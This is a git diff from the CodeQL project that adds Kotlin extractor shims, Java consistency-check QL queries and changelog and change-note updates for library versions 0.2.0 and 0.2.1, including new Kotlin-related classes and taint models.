diff --git a/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_20/Types.kt b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_20/Types.kt
new file mode 100644
index 00000000000..e3be8f45d1b
--- /dev/null
+++ b/java/kotlin-extractor/src/main/kotlin/utils/versions/v_1_6_20/Types.kt
@@ -0,0 +1,7 @@
+package com.github.codeql.utils.versions
+
+import org.jetbrains.kotlin.backend.jvm.ir.isRawType
+import org.jetbrains.kotlin.ir.types.IrSimpleType
+
+
+fun IrSimpleType.isRawType() = this.isRawType()
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/resources/META-INF/services/org.jetbrains.kotlin.compiler.plugin.CommandLineProcessor b/java/kotlin-extractor/src/main/resources/META-INF/services/org.jetbrains.kotlin.compiler.plugin.CommandLineProcessor
new file mode 100644
index 00000000000..2d0055c74d4
--- /dev/null
+++ b/java/kotlin-extractor/src/main/resources/META-INF/services/org.jetbrains.kotlin.compiler.plugin.CommandLineProcessor
@@ -0,0 +1 @@
+com.github.codeql.KotlinExtractorCommandLineProcessor
diff --git a/java/kotlin-extractor/src/main/resources/META-INF/services/org.jetbrains.kotlin.compiler.plugin.ComponentRegistrar b/java/kotlin-extractor/src/main/resources/META-INF/services/org.jetbrains.kotlin.compiler.plugin.ComponentRegistrar
new file mode 100644
index 00000000000..564ed6bfe25
--- /dev/null
+++ b/java/kotlin-extractor/src/main/resources/META-INF/services/org.jetbrains.kotlin.compiler.plugin.ComponentRegistrar
@@ -0,0 +1 @@
+com.github.codeql.KotlinExtractorComponentRegistrar
diff --git a/java/ql/consistency-queries/BinaryExpr.ql b/java/ql/consistency-queries/BinaryExpr.ql
new file mode 100644
index 00000000000..ff4384a8d49
--- /dev/null
+++ b/java/ql/consistency-queries/BinaryExpr.ql
@@ -0,0 +1,14 @@
+import java
+
+from BinaryExpr be, string reason
+where
+  not exists(be.getLeftOperand()) and reason = "No left operand"
+  or
+  not exists(be.getRightOperand()) and reason = "No right operand"
+  or
+  exists(Expr e, int i |
+    e.isNthChildOf(be, i) and i != 0 and i != 1 and reason = "Unexpected operand " + i.toString()
+  )
+  or
+  be.getOp() = " ?? " and reason = "No operator name"
+select be, reason
diff --git a/java/ql/consistency-queries/UnaryExpr.ql b/java/ql/consistency-queries/UnaryExpr.ql
new file mode 100644
index 00000000000..29a895eca6a
--- /dev/null
+++ b/java/ql/consistency-queries/UnaryExpr.ql
@@ -0,0 +1,8 @@
+import java
+
+from UnaryExpr ue
+where
+  not exists(ue.getExpr())
+  or
+  exists(Expr e, int i | e.isNthChildOf(ue, i) and i != 0)
+select ue
diff --git a/java/ql/consistency-queries/blocks.ql b/java/ql/consistency-queries/blocks.ql
new file mode 100644
index 00000000000..1d9ccc1eebb
--- /dev/null
+++ b/java/ql/consistency-queries/blocks.ql
@@ -0,0 +1,5 @@
+import java
+
+from BlockStmt b, Expr e
+where e.getParent() = b
+select b, e
diff --git a/java/ql/consistency-queries/calls.ql b/java/ql/consistency-queries/calls.ql
new file mode 100644
index 00000000000..207d7bd45b3
--- /dev/null
+++ b/java/ql/consistency-queries/calls.ql
@@ -0,0 +1,5 @@
+import java
+
+from MethodAccess ma
+where not exists(ma.getQualifier()) and ma.getFile().isKotlinSourceFile()
+select ma
diff --git a/java/ql/consistency-queries/cfgDeadEnds.ql b/java/ql/consistency-queries/cfgDeadEnds.ql
new file mode 100644
index 00000000000..c0f2e6cfe1f
--- /dev/null
+++ b/java/ql/consistency-queries/cfgDeadEnds.ql
@@ -0,0 +1,62 @@
+import java
+import semmle.code.java.ControlFlowGraph
+
+predicate shouldBeDeadEnd(ControlFlowNode n) {
+  n instanceof BreakStmt and n.getFile().isKotlinSourceFile() // TODO
+  or
+  n instanceof Interface // TODO
+  or
+  n instanceof Class // TODO
+  or
+  n instanceof Parameter // TODO
+  or
+  n instanceof Field // TODO
+  or
+  n instanceof Annotation // TODO
+  or
+  n instanceof TypeAccess // TODO
+  or
+  n instanceof ArrayTypeAccess // TODO
+  or
+  n instanceof UnionTypeAccess // TODO
+  or
+  n instanceof IntersectionTypeAccess // TODO
+  or
+  n instanceof ArrayAccess // TODO
+  or
+  n instanceof AddExpr // TODO
+  or
+  n instanceof MinusExpr // TODO
+  or
+  n instanceof LocalVariableDecl // TODO
+  or
+  n instanceof FieldDeclaration // TODO
+  or
+  n instanceof ArrayInit // TODO
+  or
+  n instanceof VarAccess // TODO
+  or
+  n instanceof Literal // TODO
+  or
+  n instanceof TypeLiteral // TODO
+  or
+  n instanceof TypeVariable // TODO
+  or
+  n instanceof WildcardTypeAccess // TODO
+  or
+  n instanceof MethodAccess // TODO
+  or
+  n instanceof Method
+  or
+  n instanceof Constructor
+  or
+  not exists(n.getFile().getRelativePath()) // TODO
+  or
+  n = any(ConstCase c).getValue(_) // TODO
+}
+
+from ControlFlowNode n, string s
+where
+  // TODO: exists(n.getASuccessor()) and shouldBeDeadEnd(n) and s = "expected dead end"
+  not exists(n.getASuccessor()) and not shouldBeDeadEnd(n) and s = "unexpected dead end"
+select n, n.getPrimaryQlClasses(), s
diff --git a/java/ql/consistency-queries/children.ql b/java/ql/consistency-queries/children.ql
new file mode 100644
index 00000000000..9401c8785e4
--- /dev/null
+++ b/java/ql/consistency-queries/children.ql
@@ -0,0 +1,73 @@
+import java
+
+Element nthChildOf(Element e, int i) {
+  result.(Expr).isNthChildOf(e, i) or
+  result.(Stmt).isNthChildOf(e, i)
+}
+
+predicate duplicateChildren(Element e, int i) {
+  nthChildOf(e, i) != nthChildOf(e, i) and
+  // Java #165
+  not e instanceof Method and
+  // Java #165
+  not e instanceof Constructor
+}
+
+predicate gapInChildren(Element e, int i) {
+  exists(int left, int right |
+    left = min(int l | exists(nthChildOf(e, l))) and
+    right = max(int r | exists(nthChildOf(e, r))) and
+    i in [left .. right] and
+    not exists(nthChildOf(e, i))
+  ) and
+  // Annotations are child 0 upwards, 'implements' are -2 downwards,
+  // and there may or may not be an 'extends' for child -1.
+  not (e instanceof ClassOrInterface and i = -1) and
+  // A class instance creation expression has the type as child -3,
+  // may or may not have a qualifier as child -2, and will never have
+  // a child -1.
+  not (e instanceof ClassInstanceExpr and i = [-2, -1]) and
+  // Type access have annotations from -2 down, and type
+  // arguments from 0 up, but may or may not have a qualifier
+  // at -1.
+  not (e instanceof TypeAccess and i = -1) and
+  // Try statements have their 'finally' clause as child 2,
+  // and that may or may not exist.
+  not (e instanceof TryStmt and i = -2) and
+  // For statements may or may not declare a new variable (child 0), or
+  // have a condition (child 1).
+  not (e instanceof ForStmt and i = [0, 1]) and
+  // TODO: Clarify situation with Kotlin and MethodAccess.
+  // -1 can be skipped (type arguments from -2 down, no qualifier at -1,
+  // then arguments from 0).
+  // Can we also skip arguments, e.g. due to defaults for parameters?
+  not (e instanceof MethodAccess and e.getFile().isKotlinSourceFile())
+}
+
+predicate lateFirstChild(Element e, int i) {
+  i > 0 and
+  i = min(int j | exists(nthChildOf(e, j))) and
+  // A wildcard type access can be `?` with no children,
+  // `? extends T` with only a child 0, or `? super T`
+  // with only a child 1.
+  not (e instanceof WildcardTypeAccess and i = 1) and
+  // For a normal local variable decl, child 0 is the type.
+  // However, for a Java 10 `var x = ...` declaration, there is
+  // no type, so the first child is the variable as child 1.
+  // There can only be one variable declared in these declarations,
+  // so there will never be a child 2.
+  not (e instanceof LocalVariableDeclStmt and i = 1 and not exists(nthChildOf(e, 2))) and
+  // For statements may or may not declare a new variable (child 0), or
+  // have a condition (child 1).
+  not (e instanceof ForStmt and i = [1, 2])
+}
+
+from Element e, int i, string problem
+where
+  problem = "duplicate" and duplicateChildren(e, i)
+  or
+  problem = "gap" and gapInChildren(e, i)
+  or
+  problem = "late" and lateFirstChild(e, i)
+select e, e.getPrimaryQlClasses(), i, problem,
+  concat(int j | exists(nthChildOf(e, j)) | j.toString(), ", " order by j)
diff --git a/java/ql/consistency-queries/compilations.ql b/java/ql/consistency-queries/compilations.ql
new file mode 100644
index 00000000000..22f51676a22
--- /dev/null
+++ b/java/ql/consistency-queries/compilations.ql
@@ -0,0 +1,17 @@
+import java
+
+predicate goodCompilation(Compilation c) {
+  forex(int i | exists(c.getFileCompiled(i)) |
+    (exists(c.getFileCompiled(i - 1)) or i = 0) and
+    c.fileCompiledSuccessful(i)
+  ) and
+  forex(int i | exists(c.getArgument(i)) | exists(c.getArgument(i - 1)) or i = 0) and
+  c.extractionStarted() and
+  c.extractionSuccessful()
+}
+
+from Compilation c
+where
+  c.isKotlin() and
+  not goodCompilation(c)
+select c
diff --git a/java/ql/consistency-queries/expressions.ql b/java/ql/consistency-queries/expressions.ql
new file mode 100644
index 00000000000..b51dcfe186e
--- /dev/null
+++ b/java/ql/consistency-queries/expressions.ql
@@ -0,0 +1,9 @@
+import java
+
+from Expr e, int n
+where
+  n = count(e.getType()) and
+  n != 1 and
+  // Java #144
+  not e instanceof ReflectiveAccessAnnotation
+select e, n
diff --git a/java/ql/consistency-queries/file_classes.ql b/java/ql/consistency-queries/file_classes.ql
new file mode 100644
index 00000000000..d6c64157354
--- /dev/null
+++ b/java/ql/consistency-queries/file_classes.ql
@@ -0,0 +1,9 @@
+import java
+
+// File classes should only be extracted if we need somewhere to
+// put top-level members.
+from Class c
+where
+  file_class(c) and
+  not exists(c.getAMember())
+select c
diff --git a/java/ql/consistency-queries/getAPrimaryQlClass.ql b/java/ql/consistency-queries/getAPrimaryQlClass.ql
new file mode 100644
index 00000000000..c297110274a
--- /dev/null
+++ b/java/ql/consistency-queries/getAPrimaryQlClass.ql
@@ -0,0 +1,10 @@
+import java
+
+from Top t
+where
+  t.getAPrimaryQlClass() = "???" and
+  // TypeBound doesn't extend Top (but probably should); part of Kotlin #6
+  not t instanceof TypeBound and
+  // XMLLocatable doesn't extend Top (but probably should); part of Kotlin #6
+  not t instanceof XMLLocatable
+select t, concat(t.getAPrimaryQlClass(), ",")
diff --git a/java/ql/consistency-queries/kotlinTypes.ql b/java/ql/consistency-queries/kotlinTypes.ql
new file mode 100644
index 00000000000..c77d267f252
--- /dev/null
+++ b/java/ql/consistency-queries/kotlinTypes.ql
@@ -0,0 +1,18 @@
+import java
+
+predicate badKotlinType(Element e, int i) {
+  e = any(Expr expr | count(expr.getKotlinType()) = i) or
+  e = any(LocalVariableDecl lvd | count(lvd.getKotlinType()) = i) or
+  e = any(Parameter p | count(p.getKotlinType()) = i) or
+  e = any(Constructor c | count(c.getReturnKotlinType()) = i) or
+  e = any(Method m | count(m.getReturnKotlinType()) = i) or
+  e = any(Field f | count(f.getKotlinType()) = i)
+}
+
+from Element e, int i
+where
+  // TODO: Java extractor doesn't populate these yet
+  e.getFile().isKotlinSourceFile() and
+  badKotlinType(e, i) and
+  i != 1
+select e, i
diff --git a/java/ql/consistency-queries/locations.ql b/java/ql/consistency-queries/locations.ql
new file mode 100644
index 00000000000..1bf90456395
--- /dev/null
+++ b/java/ql/consistency-queries/locations.ql
@@ -0,0 +1,48 @@
+import java
+import semmle.code.configfiles.ConfigFiles
+import semmle.code.java.Diagnostics
+
+// Locations should either be :0:0:0:0 locations (UnknownLocation, or
+// a whole file), or all 4 fields should be positive.
+Location badLocation() {
+  [result.getStartLine(), result.getEndLine(), result.getStartColumn(), result.getEndColumn()] != 0 and
+  [result.getStartLine(), result.getEndLine(), result.getStartColumn(), result.getEndColumn()] < 1
+}
+
+// The start should not be after the end.
+Location backwardsLocation() {
+  result.getStartLine() > result.getEndLine()
+  or
+  result.getStartLine() = result.getEndLine() and
+  result.getStartColumn() > result.getEndColumn()
+}
+
+// Normally a location should tag at least one locatable entity.
+// Note this is not absolutely necessarily a bug (it does not always indicate a location is
+// an orphan in database terms), because classes that are seen both as source code and as a
+// .class file are extracted using both locations, with `Top.getLocation` filtering out the
+// class-file location when both a source- and a class-file location are  present in the
+// database. However at present the Java extractor always uses the class-file location at
+// least to locate a `File`, so such a location does end up with a single use.
+Location unusedLocation() {
+  not exists(Top t | t.getLocation() = result) and
+  not exists(XMLLocatable x | x.getLocation() = result) and
+  not exists(ConfigLocatable c | c.getLocation() = result) and
+  not exists(Diagnostic d | d.getLocation() = result) and
+  not (
+    result.getFile().getExtension() = "xml" and
+    result.getStartLine() = 0 and
+    result.getStartColumn() = 0 and
+    result.getEndLine() = 0 and
+    result.getEndColumn() = 0
+  )
+}
+
+from string reason, Location l
+where
+  reason = "Bad location" and l = badLocation()
+  or
+  reason = "Backwards location" and l = backwardsLocation()
+  or
+  reason = "Unused location" and l = unusedLocation()
+select reason, l
diff --git a/java/ql/consistency-queries/modifiers.ql b/java/ql/consistency-queries/modifiers.ql
new file mode 100644
index 00000000000..c159cdf950e
--- /dev/null
+++ b/java/ql/consistency-queries/modifiers.ql
@@ -0,0 +1,5 @@
+import java
+
+from string mod, Location l
+where diagnostics(_, _, _, _, "Unexpected visibility: " + mod, _, l)
+select mod, l
diff --git a/java/ql/consistency-queries/qlpack.yml b/java/ql/consistency-queries/qlpack.yml
new file mode 100644
index 00000000000..1a2bd965d00
--- /dev/null
+++ b/java/ql/consistency-queries/qlpack.yml
@@ -0,0 +1,4 @@
+name: codeql-java-consistency-queries
+version: 0.0.0
+libraryPathDependencies:
+  - codeql-java
diff --git a/java/ql/consistency-queries/statementEnclosingExpr.ql b/java/ql/consistency-queries/statementEnclosingExpr.ql
new file mode 100644
index 00000000000..4bca62767e1
--- /dev/null
+++ b/java/ql/consistency-queries/statementEnclosingExpr.ql
@@ -0,0 +1,58 @@
+import java
+
+Element enclosingStmtOrOther(ExprParent ep) {
+  result = ep.(Stmt) or
+  result = enclosingStmtOrOther(ep.(Expr).getParent()) or
+  result = ep.(Callable) or
+  result = enclosingStmtOrOther(ep.(Field).getDeclaration()) or
+  result = ep.(FieldDeclaration) or
+  result = ep.(Class) or
+  result = ep.(Interface) or
+  result = ep.(Parameter) or
+  result = enclosingStmtOrOther(ep.(LocalVariableDecl).getDeclExpr()) or
+  result = ep.(TypeVariable)
+}
+
+predicate multipleSpecified(Expr e) { e.getEnclosingStmt() != e.getEnclosingStmt() }
+
+predicate multipleInferred(Expr e) { enclosingStmtOrOther(e) != enclosingStmtOrOther(e) }
+
+predicate noneInferred(Expr e) { not exists(enclosingStmtOrOther(e)) }
+
+predicate difference(Expr e) {
+  e.getEnclosingStmt() != enclosingStmtOrOther(e) and
+  // Java #167
+  not enclosingStmtOrOther(e) instanceof LocalVariableDeclStmt
+}
+
+predicate notSpecified(Expr e) {
+  enclosingStmtOrOther(e) instanceof Stmt and
+  not exists(e.getEnclosingStmt()) and
+  // Java #168
+  not (e instanceof Annotation and e.getFile().isJavaSourceFile()) and
+  // TODO: Kotlin bug
+  not (e instanceof ArrayCreationExpr and e.getFile().isKotlinSourceFile()) and
+  // TODO: Kotlin bug
+  not (e instanceof VarAccess and e.getFile().isKotlinSourceFile()) and
+  // TODO: Kotlin bug
+  not (e instanceof TypeAccess and e.getFile().isKotlinSourceFile())
+}
+
+predicate problem(Expr e, string s) {
+  multipleSpecified(e) and s = "multiple specified"
+  or
+  multipleInferred(e) and s = "multiple inferred"
+  or
+  noneInferred(e) and s = "none inferred"
+  or
+  difference(e) and s = "difference"
+  or
+  notSpecified(e) and s = "not specified"
+}
+
+from Expr e, string s
+where
+  problem(e, s) and
+  // TODO: bug in external deps?
+  e.getCompilationUnit().fromSource()
+select e, s, e.getPrimaryQlClasses()
diff --git a/java/ql/consistency-queries/toString.ql b/java/ql/consistency-queries/toString.ql
new file mode 100644
index 00000000000..8b68ae73aee
--- /dev/null
+++ b/java/ql/consistency-queries/toString.ql
@@ -0,0 +1,42 @@
+import java
+
+string topToString(Top t) {
+  result = t.toString()
+  or
+  // TypeBound doesn't extend Top (but probably should); part of Kotlin #6
+  result = t.(TypeBound).toString()
+  or
+  // XMLLocatable doesn't extend Top (but probably should); part of Kotlin #6
+  result = t.(XMLLocatable).toString()
+  or
+  // Java #142
+  t instanceof FieldDeclaration and not exists(t.toString()) and result = "<FieldDeclaration>"
+  or
+  // Java #143
+  t instanceof Javadoc and not exists(t.toString()) and result = "<Javadoc>"
+  or
+  // Java #144
+  t instanceof ReflectiveAccessAnnotation and
+  not exists(t.toString()) and
+  result = "<ReflectiveAccessAnnotation>"
+}
+
+string not1ToString() {
+  exists(Top t |
+    count(topToString(t)) != 1 and result = "Top which doesn't have exactly 1 toString"
+  )
+  or
+  exists(Location l |
+    count(l.toString()) != 1 and result = "Location which doesn't have exactly 1 toString"
+  )
+  or
+  exists(Module m |
+    count(m.toString()) != 1 and result = "Module which doesn't have exactly 1 toString"
+  )
+  or
+  exists(Directive d |
+    count(d.toString()) != 1 and result = "Directive which doesn't have exactly 1 toString"
+  )
+}
+
+select not1ToString()
diff --git a/java/ql/consistency-queries/typeParametersInScope.ql b/java/ql/consistency-queries/typeParametersInScope.ql
new file mode 100644
index 00000000000..f78bf2d42a4
--- /dev/null
+++ b/java/ql/consistency-queries/typeParametersInScope.ql
@@ -0,0 +1,53 @@
+import java
+
+class InstantiatedType extends ParameterizedType {
+  InstantiatedType() { typeArgs(_, _, this) }
+}
+
+Type getAMentionedType(RefType type) {
+  result = type
+  or
+  result = getAMentionedType(type).(Array).getElementType()
+  or
+  result = getAMentionedType(type).(InstantiatedType).getATypeArgument()
+  or
+  result = getAMentionedType(type).(NestedType).getEnclosingType()
+}
+
+Type getATypeUsedInClass(RefType type) {
+  // Base cases:
+  result = type.getAField().getType()
+  or
+  result = type.getAMethod().getReturnType()
+  or
+  result = type.getAMethod().getParameterType(_)
+  or
+  result = any(Expr e | e.getEnclosingCallable().getDeclaringType() = type).getType()
+  or
+  // Structural recursion over types:
+  result = getAMentionedType(getATypeUsedInClass(type))
+}
+
+Element getEnclosingElementStar(RefType e) {
+  result = e
+  or
+  result.contains(e)
+}
+
+TypeVariable getATypeVariableInScope(RefType type) {
+  exists(Element e | e = getEnclosingElementStar(type) |
+    result = e.(RefType).getACallable().(GenericCallable).getATypeParameter()
+    or
+    result = e.(GenericType).getATypeParameter()
+    or
+    result = e.(GenericCallable).getATypeParameter()
+    or
+    result = getAMentionedType(e.(InstantiatedType).getATypeArgument())
+  )
+}
+
+from ClassOrInterface typeUser, TypeVariable outOfScope
+where
+  outOfScope = getATypeUsedInClass(typeUser) and not outOfScope = getATypeVariableInScope(typeUser)
+select "Type " + typeUser + " uses out-of-scope type variable " + outOfScope +
+    ". Note the Java extractor is known to sometimes do this; the Kotlin extractor should not."
diff --git a/java/ql/consistency-queries/variables.ql b/java/ql/consistency-queries/variables.ql
new file mode 100644
index 00000000000..507ee662e2b
--- /dev/null
+++ b/java/ql/consistency-queries/variables.ql
@@ -0,0 +1,7 @@
+import java
+
+from Variable v, int n
+where
+  n = count(v.getType()) and
+  n != 1
+select v, n
diff --git a/java/ql/lib/CHANGELOG.md b/java/ql/lib/CHANGELOG.md
index 2426054941a..ee42afab311 100644
--- a/java/ql/lib/CHANGELOG.md
+++ b/java/ql/lib/CHANGELOG.md
@@ -1,3 +1,103 @@
+## 0.2.1
+
+### New Features
+
+* A number of new classes and methods related to the upcoming Kotlin
+  support have been added. These are not yet stable, as Kotlin support
+  is still under development.
+   * `File::isSourceFile`
+   * `File::isJavaSourceFile`
+   * `File::isKotlinSourceFile`
+   * `Member::getKotlinType`
+   * `Element::isCompilerGenerated`
+   * `Expr::getKotlinType`
+   * `LambdaExpr::isKotlinFunctionN`
+   * `Callable::getReturnKotlinType`
+   * `Callable::getParameterKotlinType`
+   * `Method::isLocal`
+   * `Method::getKotlinName`
+   * `Field::getKotlinType`
+   * `Modifiable::isSealedKotlin`
+   * `Modifiable::isInternal`
+   * `Variable::getKotlinType`
+   * `LocalVariableDecl::getKotlinType`
+   * `Parameter::getKotlinType`
+   * `Parameter::isExtensionParameter`
+   * `Compilation` class
+   * `Diagnostic` class
+   * `KtInitializerAssignExpr` class
+   * `ValueEQExpr` class
+   * `ValueNEExpr` class
+   * `ValueOrReferenceEqualsExpr` class
+   * `ValueOrReferenceNotEqualsExpr` class
+   * `ReferenceEqualityTest` class
+   * `CastingExpr` class
+   * `SafeCastExpr` class
+   * `ImplicitCastExpr` class
+   * `ImplicitNotNullExpr` class
+   * `ImplicitCoercionToUnitExpr` class
+   * `UnsafeCoerceExpr` class
+   * `PropertyRefExpr` class
+   * `NotInstanceOfExpr` class
+   * `ExtensionReceiverAccess` class
+   * `WhenExpr` class
+   * `WhenBranch` class
+   * `ClassExpr` class
+   * `StmtExpr` class
+   * `StringTemplateExpr` class
+   * `NotNullExpr` class
+   * `TypeNullPointerException` class
+   * `KtComment` class
+   * `KtCommentSection` class
+   * `KotlinType` class
+   * `KotlinNullableType` class
+   * `KotlinNotnullType` class
+   * `KotlinTypeAlias` class
+   * `Property` class
+   * `DelegatedProperty` class
+   * `ExtensionMethod` class
+   * `KtInitializerNode` class
+   * `KtLoopStmt` class
+   * `KtBreakContinueStmt` class
+   * `KtBreakStmt` class
+   * `KtContinueStmt` class
+   * `ClassObject` class
+   * `CompanionObject` class
+   * `LiveLiteral` class
+   * `LiveLiteralMethod` class
+   * `CastConversionContext` renamed to `CastingConversionContext`
+* The QL class `ValueDiscardingExpr` has been added, representing expressions for which the value of the expression as a whole is discarded.
+
+### Minor Analysis Improvements
+
+* Added models for the libraries OkHttp and Retrofit.
+* Add taint models for the following `File` methods:
+   * `File::getAbsoluteFile`
+   * `File::getCanonicalFile`
+   * `File::getAbsolutePath`
+   * `File::getCanonicalPath`
+* Added a flow step for `toString` calls on tainted `android.text.Editable` objects. 
+* Added a data flow step for tainted Android intents that are sent to other activities and accessed there via `getIntent()`.
+* Added modeling of MyBatis (`org.apache.ibatis`) Providers, resulting in additional sinks for the queries `java/ognl-injection`, `java/sql-injection`, `java/sql-injection-local` and `java/concatenated-sql-query`.
+
+## 0.2.0
+
+### Breaking Changes
+
+* The signature of `allowImplicitRead` on `DataFlow::Configuration` and `TaintTracking::Configuration` has changed from `allowImplicitRead(DataFlow::Node node, DataFlow::Content c)` to `allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet c)`.
+
+### Minor Analysis Improvements
+
+* Improved the data flow support for the Android class `SharedPreferences$Editor`. Specifically, the fluent logic of some of its methods is now taken into account when calculating data flow.
+  * Added flow sources and steps for JMS versions 1 and 2.
+  * Added flow sources and steps for RabbitMQ.
+  * Added flow steps for `java.io.DataInput` and `java.io.ObjectInput` implementations.
+* Added data-flow models for the Spring Framework component `spring-beans`.
+
+### Bug Fixes
+
+* The QL class `JumpStmt` has been made the superclass of `BreakStmt`, `ContinueStmt` and `YieldStmt`. This allows directly using its inherited predicates without having to explicitly cast to `JumpStmt` first.
+
 ## 0.1.0
 
 ### Breaking Changes
diff --git a/java/ql/lib/change-notes/2022-03-28-JumpStmt-as-superclass.md b/java/ql/lib/change-notes/2022-03-28-JumpStmt-as-superclass.md
deleted file mode 100644
index e2e97a84742..00000000000
--- a/java/ql/lib/change-notes/2022-03-28-JumpStmt-as-superclass.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-category: fix
----
-* The QL class `JumpStmt` has been made the superclass of `BreakStmt`, `ContinueStmt` and `YieldStmt`. This allows directly using its inherited predicates without having to explicitly cast to `JumpStmt` first.
diff --git a/java/ql/lib/change-notes/2022-04-01-spring-models-improvements.md b/java/ql/lib/change-notes/2022-04-01-spring-models-improvements.md
deleted file mode 100644
index 84903366fdc..00000000000
--- a/java/ql/lib/change-notes/2022-04-01-spring-models-improvements.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-category: minorAnalysis
----
-* Added data-flow models for the Spring Framework component `spring-beans`.
\ No newline at end of file
diff --git a/java/ql/lib/change-notes/2022-04-17-jms.md b/java/ql/lib/change-notes/2022-04-17-jms.md
deleted file mode 100644
index 53d620b0fd1..00000000000
--- a/java/ql/lib/change-notes/2022-04-17-jms.md
+++ /dev/null
@@ -1,6 +0,0 @@
----
-category: minorAnalysis
----
- * Added flow sources and steps for JMS versions 1 and 2.
- * Added flow sources and steps for RabbitMQ.
- * Added flow steps for `java.io.DataInput` and `java.io.ObjectInput` implementations.
diff --git a/java/ql/lib/change-notes/2022-04-22-sharedprefs-fluent-steps.md b/java/ql/lib/change-notes/2022-04-22-sharedprefs-fluent-steps.md
deleted file mode 100644
index 324b7b0d59f..00000000000
--- a/java/ql/lib/change-notes/2022-04-22-sharedprefs-fluent-steps.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-category: minorAnalysis
----
-Improved the data flow support for the Android class `SharedPreferences$Editor`. Specifically, the fluent logic of some of its methods is now taken into account when calculating data flow.
\ No newline at end of file
diff --git a/java/ql/lib/change-notes/2022-04-25-allow-implicit-read-signature.md b/java/ql/lib/change-notes/2022-04-25-allow-implicit-read-signature.md
deleted file mode 100644
index 4164b4d4b81..00000000000
--- a/java/ql/lib/change-notes/2022-04-25-allow-implicit-read-signature.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-category: breaking
----
-The signature of `allowImplicitRead` on `DataFlow::Configuration` and `TaintTracking::Configuration` has changed from `allowImplicitRead(DataFlow::Node node, DataFlow::Content c)` to `allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet c)`.
\ No newline at end of file
diff --git a/java/ql/lib/change-notes/2022-04-29-intent-redirection-sanitizer-fix.md b/java/ql/lib/change-notes/2022-04-29-intent-redirection-sanitizer-fix.md
new file mode 100644
index 00000000000..66fa93ec4db
--- /dev/null
+++ b/java/ql/lib/change-notes/2022-04-29-intent-redirection-sanitizer-fix.md
@@ -0,0 +1,5 @@
+---
+category: minorAnalysis
+---
+Fixed a sanitizer of the query `java/android/intent-redirection`. Now, for an intent to be considered
+safe against intent redirection, both its package name and class name must be checked.
\ No newline at end of file
diff --git a/java/ql/lib/change-notes/2022-05-16-floating-point-literal-rename.md b/java/ql/lib/change-notes/2022-05-16-floating-point-literal-rename.md
new file mode 100644
index 00000000000..a6603a7d490
--- /dev/null
+++ b/java/ql/lib/change-notes/2022-05-16-floating-point-literal-rename.md
@@ -0,0 +1,4 @@
+---
+category: deprecated
+---
+* The QL class `FloatingPointLiteral` has been renamed to `FloatLiteral`.
diff --git a/java/ql/lib/change-notes/released/0.2.0.md b/java/ql/lib/change-notes/released/0.2.0.md
new file mode 100644
index 00000000000..57202ae3f78
--- /dev/null
+++ b/java/ql/lib/change-notes/released/0.2.0.md
@@ -0,0 +1,17 @@
+## 0.2.0
+
+### Breaking Changes
+
+* The signature of `allowImplicitRead` on `DataFlow::Configuration` and `TaintTracking::Configuration` has changed from `allowImplicitRead(DataFlow::Node node, DataFlow::Content c)` to `allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet c)`.
+
+### Minor Analysis Improvements
+
+* Improved the data flow support for the Android class `SharedPreferences$Editor`. Specifically, the fluent logic of some of its methods is now taken into account when calculating data flow.
+  * Added flow sources and steps for JMS versions 1 and 2.
+  * Added flow sources and steps for RabbitMQ.
+  * Added flow steps for `java.io.DataInput` and `java.io.ObjectInput` implementations.
+* Added data-flow models for the Spring Framework component `spring-beans`.
+
+### Bug Fixes
+
+* The QL class `JumpStmt` has been made the superclass of `BreakStmt`, `ContinueStmt` and `YieldStmt`. This allows directly using its inherited predicates without having to explicitly cast to `JumpStmt` first.
diff --git a/java/ql/lib/change-notes/released/0.2.1.md b/java/ql/lib/change-notes/released/0.2.1.md
new file mode 100644
index 00000000000..9b0918742bd
--- /dev/null
+++ b/java/ql/lib/change-notes/released/0.2.1.md
@@ -0,0 +1,81 @@
+## 0.2.1
+
+### New Features
+
+* A number of new classes and methods related to the upcoming Kotlin
+  support have been added. These are not yet stable, as Kotlin support
+  is still under development.
+   * `File::isSourceFile`
+   * `File::isJavaSourceFile`
+   * `File::isKotlinSourceFile`
+   * `Member::getKotlinType`
+   * `Element::isCompilerGenerated`
+   * `Expr::getKotlinType`
+   * `LambdaExpr::isKotlinFunctionN`
+   * `Callable::getReturnKotlinType`
+   * `Callable::getParameterKotlinType`
+   * `Method::isLocal`
+   * `Method::getKotlinName`
+   * `Field::getKotlinType`
+   * `Modifiable::isSealedKotlin`
+   * `Modifiable::isInternal`
+   * `Variable::getKotlinType`
+   * `LocalVariableDecl::getKotlinType`
+   * `Parameter::getKotlinType`
+   * `Parameter::isExtensionParameter`
+   * `Compilation` class
+   * `Diagnostic` class
+   * `KtInitializerAssignExpr` class
+   * `ValueEQExpr` class
+   * `ValueNEExpr` class
+   * `ValueOrReferenceEqualsExpr` class
+   * `ValueOrReferenceNotEqualsExpr` class
+   * `ReferenceEqualityTest` class
+   * `CastingExpr` class
+   * `SafeCastExpr` class
+   * `ImplicitCastExpr` class
+   * `ImplicitNotNullExpr` class
+   * `ImplicitCoercionToUnitExpr` class
+   * `UnsafeCoerceExpr` class
+   * `PropertyRefExpr` class
+   * `NotInstanceOfExpr` class
+   * `ExtensionReceiverAccess` class
+   * `WhenExpr` class
+   * `WhenBranch` class
+   * `ClassExpr` class
+   * `StmtExpr` class
+   * `StringTemplateExpr` class
+   * `NotNullExpr` class
+   * `TypeNullPointerException` class
+   * `KtComment` class
+   * `KtCommentSection` class
+   * `KotlinType` class
+   * `KotlinNullableType` class
+   * `KotlinNotnullType` class
+   * `KotlinTypeAlias` class
+   * `Property` class
+   * `DelegatedProperty` class
+   * `ExtensionMethod` class
+   * `KtInitializerNode` class
+   * `KtLoopStmt` class
+   * `KtBreakContinueStmt` class
+   * `KtBreakStmt` class
+   * `KtContinueStmt` class
+   * `ClassObject` class
+   * `CompanionObject` class
+   * `LiveLiteral` class
+   * `LiveLiteralMethod` class
+   * `CastConversionContext` renamed to `CastingConversionContext`
+* The QL class `ValueDiscardingExpr` has been added, representing expressions for which the value of the expression as a whole is discarded.
+
+### Minor Analysis Improvements
+
+* Added models for the libraries OkHttp and Retrofit.
